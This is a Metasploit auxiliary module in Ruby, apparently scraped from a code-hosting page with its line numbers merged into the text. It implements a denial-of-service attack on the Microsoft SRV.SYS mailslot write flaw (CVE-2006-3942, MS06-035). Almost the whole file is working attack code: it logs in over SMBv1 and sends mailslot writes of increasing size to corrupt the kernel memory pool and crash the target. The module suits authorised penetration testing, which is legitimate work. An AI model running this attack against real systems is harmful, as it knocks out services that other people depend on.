Path: blob/master/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb
19612 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::SMB::Client7include Msf::Auxiliary::Dos89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Microsoft SRV.SYS Mailslot Write Corruption',14'Description' => %q{15This module triggers a kernel pool corruption bug in SRV.SYS. Each16call to the mailslot write function results in a two byte return value17being written into the response packet. The code which creates this packet18fails to consider these two bytes in the allocation routine, resulting in19a slow corruption of the kernel memory pool. These two bytes are almost20always set to "\xff\xff" (a short integer with value of -1).21},2223'Author' => [ 'hdm' ],24'License' => MSF_LICENSE,25'References' => [26['BID', '19215'],27['OSVDB', '27644'],28['CVE', '2006-3942'],29['URL', 'http://www.coresecurity.com/common/showdoc.php?idx=562&idxseccion=10'],30['MSB', 'MS06-035'],31],32'Actions' => [33['Attack', { 'Description' => 'Run Denial of Service' }],34],35'DefaultAction' => 'Attack',36'DisclosureDate' => '2006-07-11',37'Notes' => {38'Stability' => [CRASH_SERVICE_DOWN],39'SideEffects' => [],40'Reliability' => []41}42)43)4445register_options(46[47OptString.new('MAILSLOT', [ true, 'The mailslot name to use', 'Alerter']),48]49)5051deregister_options('SMB::ProtocolVersion')52end5354# MAILSLOT: HydraLsServer55# MAILSLOT: Messngr56# MAILSLOT: 53cb31a0\\UnimodemNotifyTSP5758def run59case action.name60when 'Attack'6162print_status('Mangling the kernel, two bytes at a time...')6364connect(versions: [1])65smb_login66671.upto(1024) do |i|68if (i % 100 == 0)69print_status("Sending request containing #{i} bytes...")70end7172begin73simple.client.trans_mailslot('\\MAILSLOT\\' + datastore['MAILSLOT'], 'X' * i)74rescue ::Interrupt75break76rescue StandardError => e77if (i == 1)78print_error("Failed to write any data to the mailslot: #{e}")79break80end81print_error("Exception occurred on iteration #{i}")82print_error("Error: #{e.class} > #{e}")83break84end85end8687# Errors:88# 0xc0000034 = object not found89# 0xc0000205 = insufficient resources (too much data)9091end9293disconnect94end95end969798